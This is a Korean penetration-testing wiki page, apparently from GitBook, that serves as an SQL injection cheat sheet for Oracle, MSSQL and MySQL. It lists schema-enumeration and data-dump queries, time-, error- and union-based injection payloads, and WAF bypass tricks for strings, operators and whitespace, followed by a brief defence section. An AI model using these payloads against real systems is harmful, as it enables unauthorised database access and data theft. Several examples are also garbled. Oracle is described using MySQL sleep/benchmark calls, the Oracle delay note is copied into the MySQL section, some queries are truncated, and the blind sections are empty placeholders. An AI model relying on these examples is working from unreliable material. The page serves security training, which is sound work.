펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Bypass
  • 문자열 우회
  • 연산자 우회
  • 공백 우회
  • 대응 방안

Was this helpful?

Export as PDF
  1. 초기 침투
  2. Web
  3. Quary Language

SQL

PreviousQuary LanguageNextGraphQL

Last updated 27 days ago

Was this helpful?

SQL Injection은 서버에서 미리 정의해둔 미완성된 쿼리문에 악성 코드를 삽입하는 공격입니다. 사용자가 입력한 동적/정적 파라미터를 기존의 미완성된 쿼리에 삽입하여 완성한 뒤 DBMS에 질의함에 따라 결과를 출력해주는 과정에서 적절한 보안조치가 이루어지지 않는다면 비정상적인 행위를 일으킬 수 있습니다.

메타데이터

서버에서 정상적인 쿼리를 실행하는 데이터베이스 내에 있는 데이터 조회 시 명령입니다. 오라클은 owner와 table_name 컬럼에 대한 값을 지정할 때 반드시 모두 대문자로 지정해야 서버가 인식할 수 있습니다.

# 버전
SELECT banner FROM v$version

# 현재 스키마(유저)
SELECT user FROM dual

# 전체 스키마(유저)
SELECT username FROM all_users

# 스키마 내 전체 테이블
SELECT table_name FROM all_tables WHERE owner = USER

# 테이블 내 전체 컬럼
SELECT column_name FROM all_tab_columns WHERE table_name = 'TESTTABLE'

# 전체 데이터
SELECT * FROM TestTable

반면, 서버에서 정상적인 컨텍스트로 실행하는 스키마(유저)가 아닌 다른 스키마에 대한 데이터 조회 시 아래와 같이 쿼리문을 사용합니다.

# 외부 스키마 내 전체 테이블
SELECT table_name FROM all_tables WHERE owner = 'OTHER'

# 외부 스키마 테이블 내 전체 컬럼
SELECT column_name FROM all_tab_columns WHERE column_name = TESTTABLE' AND owner = 'OTHER'

# 외부 스키마 내 전체 데이터
SELECT * FROM OTHER.TestTable

데이터 출력

그룹 출력

# listagg 함수를 통한 전체 데이터 묶음 출력
SELECT listagg(table_name, '***') FROM all_tables WHERE owner = USER;

순차 출력

# ROW_NUMBER 함수
SELECT table_name FROM (SELECT name, rownum as num FROM all_tables WHERE owner = USER)a WHERE a.num = 1

공격 기법

Time Based

Oracle에서는 공식적으로 시간 지연 발생을 위한 함수를 제공하지 않습니다. 대신 많은 양의 데이터를 조건문에 따라 질의함으로써 서버의 과부하를 일으켜 응답 시간을 지연시킬 수 있습니다. 이를 해비 쿼리라고 부릅니다.

# sleep 함수
SELECT * FROM users WHERE idx=1 AND (case when 1=1 then sleep(2) else 1 end);

# benchmark 함수 사용
SELECT * FROM users WHERE idx=1 AND (case when 1=1 then benchmark(100000000,1) else 1 end);

Error Based

SELECT user FROM dual WHERE 1 and CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))

Union Based

SELECT 1 FROM dual AND 1=2 UNION ALL SELECT 2 FROM dual

Blind SQLi

// Some code

메타데이터

서버에서 정상적인 쿼리를 실행하는 데이터베이스 내에 있는 데이터 조회 시 명령입니다.

# 버전
SELECT @@VERSION

# 현재 데이터베이스
SELECT db_name()

# 전체 데이터베이스
SELECT name FROM sys.databases

# 데이터베이스 내 전체 스키마
SELECT name FROM sys.schemas WHERE

# 스키마 내 전체 테이블
SELECT name FROM sys.objects WHERE type = 'U' and 

# 테이블 내 전체 컬럼
SELECT name FROM sys.columns WHERE object_id=object_id('TestTable')

# 전체 데이터
SELECT * FROM TestTable

반면, 서버에서 정상적인 컨텍스트로 실행하는 데이터베이스가 아닌 다른 데이터베이스에 대한 데이터 조회 시 아래와 같이 쿼리문을 사용합니다.

# 외부 데이터베이스 내 전체 스키마
SELECT schema_name FROM TestDB.information_schema.schemata

# 외부 데이터베이스 스키마 내 전체 테이블
SELECT table_name FROM TestDB.information_schema.tables WHERE table_schema = 'TestSchema'
 
# 외부 데이터베이스 테이블 내 전체 컬럼
SELECT column_name FROM Test.DB.information_schema.columns WHERE table_schema = 'TestSchema' AND table_name = 'TestTable'
 
# 외부 데이터베이스 내 전체 데이터
SELECT * FROM TestDB..TestTable

데이터 출력

데이터 출력 방법으로는 여러 행의 데이터를 한 번에 출력하는 방식과 순차 출력 방식을 다룹니다. MSSQL 2017 버전 이후로는 string_agg 함수를 이용하여 다중 데이터를 출력할 수 있지만, 이전 버전의 경우 stuff 함수를 사용합니다.

그룹 출력

# Microsoft SQL Server 2017 이상
SELECT string_agg(name, '***') FROM sys.databases

# Microsoft SQL Server 2017 미만
SELECT stuff((SELECT name FROM sys.databases FOR XML PATH('')), 1, 1, '')

순차 출력

# ROW_NUMBER 함수
SELECT name FROM (SELECT name, ROW_NUMBER() OVER(ORDER BY name) as num FROM sys.databases) a WHERE a.num = 1

공격 기법

Time Based

MSSQL에서 시간을 지연하기 위한 함수인 WAITFOR DELAY는 SELECT 절 안에서 사용될 수 없는 조건이 있으며, CASE-WHEN 조건문은 SELECT 절 외부에선 사용하지 못하는 제약이 있습니다. 때문에 세미콜론을 이용해 스택쿼리를 사용하여 IF 조건문에서 시간 지연을 발생시킵니다.

SELECT @@version; IF (SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '00:00:02';

Error Based

SELECT CONVERT(int, @@version)

Union Based

SELECT 1 FROM dual AND 1=2 UNION ALL SELECT 2 FROM dual

Blind SQLi

// Some code

메타데이터

서버에서 정상적인 쿼리를 실행하는 데이터베이스 내에 있는 데이터 조회 시 명령입니다.

# 버전
SELECT version()

# 현재 데이터베이스
SELECT database()

# 전체 데이터베이스
SELECT schema_name FROM information_schema.schemata

# 스키마 내 전체 테이블
SELECT table_name FROM information_schema.tables WHERE table_schema = TestSchema

# 테이블 내 전체 컬럼
SELECT column_name FROM information_schema.columns WHERE table_schema = TestSchema AND table_name = TestTable

# 전체 데이터
SELECT * FROM TestTable

반면, 서버에서 정상적인 컨텍스트로 실행하는 데이터베이스가 아닌 다른 데이터베이스에 대한 데이터 조회 시 아래와 같이 쿼리문을 사용합니다.

# 외부 스키마 내 전체 테이블
SELECT table_name FROM information_schema.tables WHERE table_schema = OtherSchema

# 외부 스키마 테이블 내 전체 컬럼
SELECT column_name FROM information_schema.columns WHERE table_schema = OtherSchema AND table_name = OtherTable

# 외부 스키마 내 전체 데이터
SELECT * FROM OtherSchema.OtherTable

데이터 출력

그룹 출력

# group_concat 함수를 통한 전체 데이터 묶음 출력
SELECT group_concat(table_name, '***') FROM information_schema.tables WHERE table_schema = TestSchema;

순차 출력

# ROW_NUMBER 함수
SELECT table_name FROM information_schema.tables WHERE table_schema=(select database()) limit 1,1

공격 기법

Time Based

Oracle에서는 공식적으로 시간 지연 발생을 위한 함수를 제공하지 않습니다. 대신 많은 양의 데이터를 조건문에 따라 질의함으로써 서버의 과부하를 일으켜 응답 시간을 지연시킬 수 있습니다. 이를 해비 쿼리라고 부릅니다.

SELECT * FROM users WHERE idx=1 AND (case when 1=1 then 1 else (SELECT count(*) FROM all_users

Error Based

SELECT updatexml(null,concat(0x0a,(select version())),null);
SELECT 1 AND extractvalue('1', concat(0x3a, (SELECT version())))

Union Based

SELECT 1 FROM dual AND 1=2 UNION ALL SELECT 2 FROM dual

Blind SQLi

// Some code

Bypass

본 페이지에서는 WAF, 솔루션 등에서 차단하는 SQLi에 대한 우회 방법을 다룹니다.

문자열 우회

SELECT * FROM users WHERE name = 'admin';

실행하고 싶은 쿼리는 위와 같지만 서버에서 admin 글자를 차단할 때를 가정합니다.

concat

SELECT * FROM users WHERE name = concat('ad','min');

reverse

SELECT * FROM users WHERE name = reverse('nimda');

hex

SELECT * FROM users WHERE name = UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW('416C696365'));
SELECT * FROM users WHERE name = CAST(0x416C696365 AS VARCHAR);
SELECT * FROM users WHERE name = 0x416C696365;
SELECT * FROM users WHERE name = 0x'416C696365';

연산자 우회

SELECT * FROM users WHERE idx=1 or 1=1;

실행하고 싶은 쿼리는 위와 같이 idx 값이 1인 레코드 외에 전체 레코드지만, 서버에서 연산자를 차단할 때를 가정합니다.

or

SELECT * FROM users WHERE 1 || 1;
SELECT * FROM users WHERE 1 & 1;
SELECT * FROM users WHERE 2 div 1
SELECT * FROM users WHERE name = 'admin' | 0;
SELECT * FROM users WHERE name = 1 xor 0
SELECT * FROM users WHERE name = 'admin' && 1;

equal

SELECT * FROM users WHERE idx LIKE 1;
SELECT * FROM users WHERE idx RLIKE 1;
SELECT * FROM users WHERE idx REGEXP 1;
SELECT * FROM users WHERE idx in (1);

공백 우회

SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT"name"FROM"users"WHERE"idx"=1;
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT * FROM users WHERE idx = 1/**/or/**/1=1;
SELECT`name`FROM`users`WHERE`idx`=1;
SELECT * FROM users WHERE idx = 1=case(1=1)when(1=1)then(1)else(2)end;
문자
URL 인코딩

tab(\n)

%0a

Vertical tab(\v)

%0b

Form feed(\f)

%0c

Carrige return(\r)

%0d

대응 방안

  1. Prepare Statement 적용

  2. 화이트리스트를 이용한 사용자 입력값 검증

  3. 사용자 입력값 길이 제한 설정

SQLi 공격은 Prepare Statement 조치만으로도 대부분의 공격은 차단됩니다. 하지만 사전 컴파일 작업을 통해 데이터를 코드가 아닌 문자 자체로 인식시켜서 취약점을 없애는 Prepared Statement는 정렬(ORDER BY)과 같은 입력값을 방어하지는 못합니다. 따라서 화이트리스트를 통한 입력값 검증과 입력값 길이 제한 등을 통해 보안 조치가 가능합니다.

https://www.linkedin.com/pulse/what-impact-successful-sql-injection-attack-abhinav-anand-